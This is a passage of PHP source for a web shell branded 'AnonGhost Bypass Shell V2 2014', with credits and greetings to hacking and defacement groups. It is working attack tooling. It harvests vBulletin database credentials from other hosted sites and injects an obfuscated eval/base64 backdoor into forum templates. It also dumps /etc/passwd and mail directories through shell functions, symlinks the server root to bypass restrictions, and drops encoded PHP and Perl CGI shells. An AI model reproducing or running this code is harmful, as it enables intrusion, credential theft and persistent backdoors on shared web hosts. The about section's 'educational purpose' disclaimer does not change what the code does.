<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin vBulletin</span><center><br>\';
if(isset($_POST[\'s\'])){

$file = @file_get_contents(\'vb.txt\');

$ex   = explode("
",$file);

echo "<div class=\'tmp\'><table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b><font></td><td> <font color=\'#e4e4e4\'><b>Configs </b><font></td><td> <font color=\'#e4e4e4\'><b>Result </b><font></td></div>";

foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).\'\';

$readconfig  = @file_get_contents(trim($config));

if(ereg(\'vBulletin\',$readconfig)){

$db      =  ex($readconfig,\'$config[\'Database\'][\'dbname\'] = \'\',"\';");

$userdb  =  ex($readconfig,\'$config[\'MasterServer\'][\'username\'] = \'\',"\';");

$pass    =  ex($readconfig,\'$config[\'MasterServer\'][\'password\'] = \'\',"\';");

$con     = @mysql_connect(\'localhost\',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$shell   = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==" ;

$crypt  = "{\${eval(gzinflate(base64_decode(\'";

$crypt .= "$shell";

$crypt .= "\')))}}{\${exit()}}</textarea>";

$sqlfaq = "UPDATE template SET template =\'".$crypt."\' WHERE title =\'FAQ\'" ;

$query  = @mysql_query($sqlfaq,$con);


if ($query){$r = \'<b style="color: #ee5500">Succeed</b> shell in search.php\';}
else
{
$r = \'<b style="color:red">failed</b>\';
}
$domins = trim($domin).\'\';
echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'$config\'>Config</a></div></td><td>".$r."</td></tr>";

}else{

echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$config\'>Config</a></div></td><td><b style=\'color:red\'>failed2</b></td></tr>";
}
}

die();

}

if(!is_file(\'named.txt\')){

$d00m = file("/etc/named.conf");

}else{

$d00m = file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv=\'refresh\' content=\'0; url=?action=read\'/>");
}
else
{
echo "<br><div class=\'tmp\'>
<form method=\'POST\' action=\'$pg?action=vb\'>
<input type=\'submit\' value=\'Inject shell\' />
<input type=\'hidden\' value=\'1\' name=\'s\' />
</form>
<br>
<table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Config </b></font></td><td> <font color=\'#e4e4e4\'><b>Result </b></font></td>";

$f = fopen(\'vb.txt\',\'w\');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all(\'#zone "(.*)"#\', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

///////////////////////////////////////////////////////////////////////////////////

$wpl=$pageURL."/sim/rut/home/".$user[\'name\']."/includes/config.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user[\'name\']."/vb/includes/config.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user[\'name\']."/forum/includes/config.php";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


 ////////// vb ////////////

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();
$dom = $domvw[1][0];
$w = fwrite($f,"$config||$dom 
");
if($w){$r = \'<b style="color: #009900">Save</b>\';}else{$r = \'<b style="color:red">failed</b>\';}
echo "<tr><td><div class=\'cone\'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class=\'cone\'><a href=\'$config\'>Config</a></div></td><td>".$r."</td></tr>";
flush();
}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'abot\'){
echo \'
<br><center><img src="http://www7.0zz0.com/2014/08/22/20/260354169.png"></center><center>
<span style="font-size:30px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#008800" size="1pt">Coded by </font><font  color="#00bb00" size="1pt">Virusa Worm</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">GrenCoder</font><br><br><br><font color="#007700" size="1pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color="#009900" size="1pt">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color="#009900" size="1pt">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color="#00ff00" size="1pt">"</font>Keep Calm and enjoy Hacking \!/<font color="#00ff00" size="1pt">"</font><br><br><br><font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br>
<center><div class="logindiv"><table cellpadding="7" cellspacing="2">
<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br>
<font color="#009900" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color="#007700" size="1pt">[pasangan galo.. lol..]]</font><br></font></center>
\';
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'read\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Read /etc/passwd</span><center><br>\';
echo "<br><form method=\'post\' action=\'?action=read&save=1\'><textarea class=\'area\' cols=\'80\' rows=\'15\' name=\'file\'>";
flush();
flush();


$file = \'/etc/named.conf\';


$w0co = @fopen($file, \'r\');
if ($w0co){
$content = @fread($w0co, @filesize($file));
echo "".htmlentities($content)."";
}
else if (!$w0co)
{
$w0co = @show_source($file) ;
}
else if (!$w0co)
{
$w0co = @highlight_file($file);
}
else if (!$w0co)
{
$sm = @symlink($file,\'sym.txt\');


if ($sm){
$w0co = @fopen(\'sim/sym.txt\', \'r\');
$content = @fread($w0co, @filesize($file));
echo "".htmlentities($content)."";

}
}

echo "</textarea><br /><br /><input  type=\'submit\' value=\'Save\'/> </form>";


if(isset($_GET[\'save\'])){

$cont = stripcslashes($_POST[\'file\']);

$f = fopen(\'named.txt\',\'w\');

$w = fwrite($f,$cont);

if($w){

echo \'<br />save has been successfully\';

}

fclose($f);

}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'bforb\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path with system function</span><center><br>\';
mkdir(\'bforb\', 0755);
chdir(\'bforb\');
$bforb = \'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSd2aXJ1c2EnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ3ZpcnVzYSddKSl7IHN5c3RlbSgnbG4gLXMgLyB2aXJ1c2EudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7ICRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkdmlydXNhID0gc3ltbGluaygiLyIsInZpcnVzYS50eHQiKTsgJHJ0PSI8YnI+PGEgaHJlZj12aXJ1c2EudHh0IFRBUkdFVD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jMDBiYjAwIHNpemU9MiBmYWNlPSdDb3VyaWVyIE5ldyc+PGI+QnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9iPjwvZm9udD48L2E+IjsgZWNobyAiPGJyPjxicj48Yj5Eb25lLi4gITwvYj48YnI+PGJyPkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPiRydDwvY2VudGVyPiI7fSBlY2hvICI8L2Zvcm0+IjsgID8+PC90ZD48L3RyPjwvYm9keT48L2h0bWw+\';

$file = fopen("bforb.php" ,"w+");
$write = fwrite ($file ,base64_decode($bforb));
fclose($file);
chmod("bforb.php",0755);
echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'grasy\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br><br>\';
echo \'<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">


<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>

<p><center>Bypass with Passthru Function
<form method="post">
<font face="Tahoma" color="#007700" size="2pt">
<input type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
<form method="post">
<input type="submit" value="Bypass" name="mauritania">
</form>
</center><br>
</p>

<center>\';
    

//System Function //
if($_POST[\'syst\'])
{

echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo system("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo \'
</center>
<center>\';
    


//Passthru Function //
if($_POST[\'passth\'])
{
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>

</b>
<br>
";
  
}


echo \'
</center>
<center>\';
    


//exec Function //
if($_POST[\'ex\'])
{
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}


echo \'
</center>
<center>\';


//exec Function //
if($_POST[\'shex\'])
{
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo \'</center>
<center>\';
    


//posix_getpwuid Function //
if($_POST[\'mauritania\'])
{
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
for($uid=0;$uid<60000;$uid++){ 
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'nemcon\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>\';
echo \'
<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
<form method="post">
<input type="submit" value="Bypass" name="awk">
</form>
</center><br>
</p>



<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
<form method="post">
<input type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p><center>\';
    

//Awk Program //
if ($_POST[\'awk\']) {
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo shell_exec("awk -F: \'{ print $1 }\' /etc/passwd | sort");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
    
//System Function //
if ($_POST[\'syst\']) {
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo system("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}

echo "</center><center>";
    
//Passthru Function //
if ($_POST[\'passth\']) {
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
    
//exec Function //
if ($_POST[\'ex\']) {
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>

</b>
<br>
";
}

echo "</center><center>";
    
//exec Function //
if ($_POST[\'shex\']) {
echo"<textarea class=\'area\' cols=\'65\' rows=\'15\'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cgipl\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
mkdir(\'cgipl\', 0755);
chdir(\'cgipl\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
$metin = "AddType application/x-httpd-cgi .root 
AddType application/x-httpd-cgi .root 
AddHandler cgi-script .root 
AddHandler cgi-script .root";    
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgipl = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk